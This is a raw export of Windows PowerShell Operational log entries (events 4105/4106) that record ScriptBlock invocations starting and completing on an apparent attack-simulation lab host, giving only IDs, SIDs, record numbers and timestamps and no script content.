SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049661
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049655
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049633
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049631
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049630
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049613
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
